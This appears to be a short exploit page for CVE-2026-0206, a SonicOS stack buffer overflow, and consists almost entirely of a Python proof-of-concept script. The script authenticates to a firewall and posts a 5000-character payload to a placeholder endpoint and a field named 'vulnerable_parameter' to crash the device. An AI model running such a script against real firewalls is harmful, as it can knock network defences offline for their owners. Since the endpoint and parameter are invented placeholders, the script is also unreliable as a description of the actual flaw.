CVE-2026-0206 SonicOS栈缓冲区溢出漏洞

import requests # This is a conceptual Proof of Concept (PoC) for CVE-2026-0206. # It demonstrates the logic of triggering a stack overflow after authentication. TARGET_URL = "https://<firewall-ip>/api/endpoint" USERNAME = "admin" PASSWORD = "password" # Large payload to trigger the stack-based buffer overflow # Adjust size based on specific buffer limit of the target version PAYLOAD = "A" * 5000 def login(): """Authenticate to the SonicWall firewall to obtain a session.""" session = requests.Session() login_payload = { "username": USERNAME, "password": PASSWORD } try: response = session.post(f"{TARGET_URL}/login", data=login_payload, verify=False) if response.status_code == 200: print("[+] Login successful.") return session else: print("[-] Login failed.") return None except Exception as e: print(f"[-] Error during login: {e}") return None def send_exploit(session): """Send the malicious payload to the vulnerable endpoint.""" headers = { "Content-Type": "application/json" } # The vulnerable parameter usually resides in a specific JSON field or HTTP header data = { "vulnerable_parameter": PAYLOAD } try: print("[*] Sending exploit payload...") response = session.post(TARGET_URL, json=data, headers=headers, verify=False) # If the firewall crashes, the connection might reset or timeout if response.status_code == 500 or response.status_code == 502: print("[+] Potential crash detected (HTTP 5xx).") else: print(f"[-] Request returned status code: {response.status_code}") except requests.exceptions.ConnectionError: print("[+] Connection lost. The firewall may have crashed.") except Exception as e: print(f"[-] Error sending exploit: {e}") if __name__ == "__main__": session = login() if session: send_exploit(session)